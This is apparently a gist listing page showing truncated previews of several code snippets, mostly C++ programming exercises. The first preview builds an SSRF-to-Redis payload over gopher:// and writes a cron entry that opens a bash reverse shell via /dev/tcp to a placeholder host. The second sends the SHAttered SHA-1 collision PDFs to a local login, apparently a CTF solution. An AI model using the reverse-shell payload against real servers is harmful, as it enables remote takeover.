This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import urllib.parse | |
reverse_host = "<YOUR_REVERSE_HOST>" | |
reverse_port = "<YOUR_REVERSE_PORT>" | |
protocol = "gopher://" | |
ip = "<REDIS_HOST>" | |
port = "<REDIS_PORT>" | |
shell = "\n\n*/1 * * * * bash -i >& /dev/tcp/{}/{} 0>&1\n\n".format(reverse_host, reverse_port) | |
path = "/var/spool/cron/" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from urllib.request import urlopen | |
pdf1 = urlopen("http://shattered.io/static/shattered-1.pdf").read() | |
pdf2 = urlopen("http://shattered.io/static/shattered-2.pdf").read() | |
res = requests.post('http://127.0.0.1:8892/', data={"username": pdf1, "password": pdf2}) | |
print(res.text) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
import random | |
def gen_ans(): | |
ans = [] | |
while len(ans) != 4: | |
n = random.randrange(0, 10) | |
if not n in ans: | |
ans.append(n) | |
print("--debug only--") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
int main() { | |
long int n; | |
while(cin >> n){ | |
int count = 0; | |
while(n > 4){ | |
n -= n % 5; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <string> | |
using namespace std; | |
int main () { | |
string input; | |
bool quote = false; | |
while( getline(cin , input) ){ | |
for(int i = 0 ; i < input.length() ; ++i){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
class Soda{ | |
public: | |
Soda(int = 0 , int = 0 , int = 0); | |
void Exchange(); | |
int getEmpty(); | |
int getExchange(); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
void stringToNum( string in , int *array ){ | |
for(int i = (int)in.length() - 1 , j = 0 ; i >= 0 ; --i , ++j) | |
array[i] =in[j] - '0'; | |
} | |
bool checkZero(int *array){ | |
for(int i = 0 ; i < 251 ; ++i) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
int main() { | |
int index = 0; | |
unsigned long int max = 0; | |
string input; | |
char array[100][100] = {' ' , ' '}; | |
while(getline(cin , input)){ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <cmath> | |
using namespace std; | |
int fib( int * ); | |
int main() { | |
int n; | |
cin >> n; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <cctype> | |
using namespace std; | |
int main() { | |
int num; | |
cin >> num; | |
while(num-- != 0){ | |
int left = 0 , right = 0 , result = 0; |
NewerOlder